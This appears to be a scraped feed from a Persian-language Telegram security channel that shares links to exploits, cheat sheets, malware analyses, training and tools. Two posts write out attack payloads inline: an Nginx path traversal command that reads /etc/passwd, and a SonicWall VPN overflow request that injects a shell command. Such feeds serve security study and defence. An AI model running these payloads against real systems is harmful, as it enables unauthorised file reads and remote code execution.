NEW BOT Телеграм, страница

Modbus Utility | Modbus Utility is a free software provided by ICP DAS for configuring Modbus TCP based equipment including the <a href="/et7000table.php">ET-7000</a>, <a href="/poe_ethernet_i_o_modules.html">PET-7000</a>, <a href="/tet_modules.html">tET…

1.66K views10:50

Security Analysis

https://nullcon.net/berlin-2022/training/side-channel-and-fault-injection-attacks-on-real-world-crypto/

nullcon.net

Physical attacks: Side-channel and fault injection attacks on real-world crypto | Nullcon Berlin 2022

In this training get an extensive overviews of both, side-channel and fault analysis, showcasing the core techniques for key recovery, learn to perform hands-on physical attacks on real hardware.

1.65K views13:14

Security Analysis

⭕️ PHP 7.3-8.1 disable_functions bypass using string concatenation

PHP 7.3-8.1 disable_functions bypass [concat_function]This exploit uses a bug in a function that handles string concatenation.
A statement such as $a.$b might result in memory corruption if certain conditions are met.
The bugreport provides a very thorough analysis of the vulnerability.
The PoC was tested on various php builds for Debian/Ubuntu/CentOS/FreeBSD with cli/fpm/apache2 server APIs and found to work reliably.

https://github.com/mm0r1/exploits/tree/master/php-concat-bypass
#PHP #bypass #disable_functions
@securation

🔥2

5.2K viewsedited 14:42

Security Analysis

https://twitter.com/1rpwn/status/1479738258833690624

Twitter

Adel

Nginx Path Traversal httpx -l url.txt -path "///////../../../../../../etc/passwd" -status-code -mc 200 -ms 'root:' #bugbountytips #BugBounty #0day #nuclei

👍8👎1😱1

1.72K views08:54

Security Analysis

برگ تقلب هایی از انواع تایپ های مختلف SQL Injection رو اینجا مطالعه کنید

https://github.com/kleiton0x00/Advanced-SQL-Injection-Cheatsheet
#sqli
@securation

GitHub

GitHub - kleiton0x00/Advanced-SQL-Injection-Cheatsheet: A cheat sheet that contains advanced queries for SQL Injection of all types.

A cheat sheet that contains advanced queries for SQL Injection of all types. - kleiton0x00/Advanced-SQL-Injection-Cheatsheet

👍11🤩3

2.24K viewsedited 13:14

Security Analysis

SQL Injection in Wordpress core (CVE-2022–21661)

https://cognn.medium.com/sql-injection-in-wordpress-core-zdi-can-15541-a451c492897

Medium

SQL Injection in Wordpress core (CVE-2022–21661)

Giới thiệu

🤩13😱5👎1

2.02K views12:54

Security Analysis

⭕️ این ابزار برای شبیه سازی حملات بعلاوه تحلیل و بررسی صحت عملکرد EDR و مباحث correlation کاربرد داره.

https://github.com/ScarredMonk/SysmonSimulator
#sysmon #loganalysis #EDR
@securation

GitHub

GitHub - ScarredMonk/SysmonSimulator: Sysmon event simulation utility which can be used to simulate the attacks to generate the…

Sysmon event simulation utility which can be used to simulate the attacks to generate the Sysmon Event logs for testing the EDR detections and correlation rules by Blue teams. - ScarredMonk/SysmonS...

2.62K views08:11

Security Analysis

https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/Reversing%20.NET%20-%20AgentTesla/Reversing_AgentTesla.md

GitHub

Malware-analysis-and-Reverse-engineering/Reversing .NET - AgentTesla/Reversing_AgentTesla.md at main · Dump-GUY/Malware-analysis…

Some of my publicly available Malware analysis and Reverse engineering. - Dump-GUY/Malware-analysis-and-Reverse-engineering

👍5

1.76K views08:07

Security Analysis

⭕️Sonicwall SSL VPN nobody BOF RCE

GET /%04%d7%7f%bf%18%d8%7f%bf%18%d8%7f%bf%64%b8%06%08;{touch,/tmp/lol};%04%d7%7f%bf%18%d8%7f%bf%18%d8%7f%bf%64%b8%06%08;{touch,/tmp/lol};?aaaaaaaa...

@securation

👍5👎3

1.74K views19:23

Security Analysis

https://github.com/klinix5/ReverseRDP_RCE

👍5👎1

1.68K views23:08

Security Analysis

https://github.com/ITI/ICS-Security-Tools/tree/master/feeds

GitHub

ICS-Security-Tools/feeds at master · ITI/ICS-Security-Tools

Tools, tips, tricks, and more for exploring ICS Security. - ITI/ICS-Security-Tools

👍5👎1

1.76K views07:38

Security Analysis

Forwarded from Deleted Account

18:04

Media is too big

VIEW IN TELEGRAM

⭕️ مقایسه دو فازر ffuf و Wfuzz !

کدوم یکی برای فازینگ وب اپلیکیشن ها بهتره و سرعت و عملکرد بهتری داره ؟!
توی این ویدیو نکات جالبی رو ببینید.

#fuzzing #tools #web
@securation

👍7👎2

2.38K views10:25

Security Analysis

https://isssource.com/siemens-update-for-siprotec-5-devices/

ISSSource

Siemens Update for SIPROTEC 5 Devices - ISSSource

👍3👎2

1.69K views12:49

Security Analysis

https://infosecwriteups.com/into-the-art-of-binary-exploitation-0x000002-sorcery-of-rop-b4658238ee62

Medium

Into the art of Binary Exploitation 0x000002 [Sorcery of ROP]

Hey Hackers, ✋✋

1.76K views10:50

Security Analysis

Forwarded from Deleted Account

OWASP_API_Security_Top_10_Cheatsheet_pdf_1636948037.pdf

1.4 MB

⭕️ OWASP API Security Top 10

#owasp #API
@securation

2.07K views13:41

Security Analysis

https://github.com/horsicq/XELFViewer

GitHub

GitHub - horsicq/XELFViewer: ELF file viewer/editor for Windows, Linux and MacOS.

ELF file viewer/editor for Windows, Linux and MacOS. - horsicq/XELFViewer

👍9🤩2

1.66K views20:30

Security Analysis

⭕️ UAC bypass via dll hijacking and mock directories

https://daniels-it-blog.blogspot.com/2020/07/uac-bypass-via-dll-hijacking-and-mock.html?m=1

#uac #bypass
@securation

Blogspot

UAC bypass via dll hijacking and mock directories

UAC
UAC Bypass
dll hijacking
mock folders
Daniel Gebert
SRP
Software Restiction Policies
dll
hijacking
Windows 10

👍8

1.54K views08:46

Security Analysis

⭕️ Persistence with Azure Policy Guest Configuration

Use Azure Policy Guest Configuration to gain persistence in your target environment and how to detect such an attack as a defender.

https://cloudbrothers.info/en/azure-persistence-azure-policy-guest-configuration/
#azure
@securation

1.49K views16:00

Security Analysis

تغییرات جدید که توی نسخه جدید Ammas داده شده از جمله پشتیبانی از dns repo

https://github.com/OWASP/Amass/releases/tag/v3.16.0
#web #amass #tools
@securation

GitHub

GitHub - owasp-amass/amass: In-depth attack surface mapping and asset discovery

In-depth attack surface mapping and asset discovery - owasp-amass/amass

1.45K views16:46

Security Analysis

https://googleprojectzero.blogspot.com//2022/01/zooming-in-on-zero-click-exploits.html

Blogspot

Zooming in on Zero-click Exploits

Posted by Natalie Silvanovich, Project Zero Zoom is a video conferencing platform that has gained popularity throughout the pandemic. U...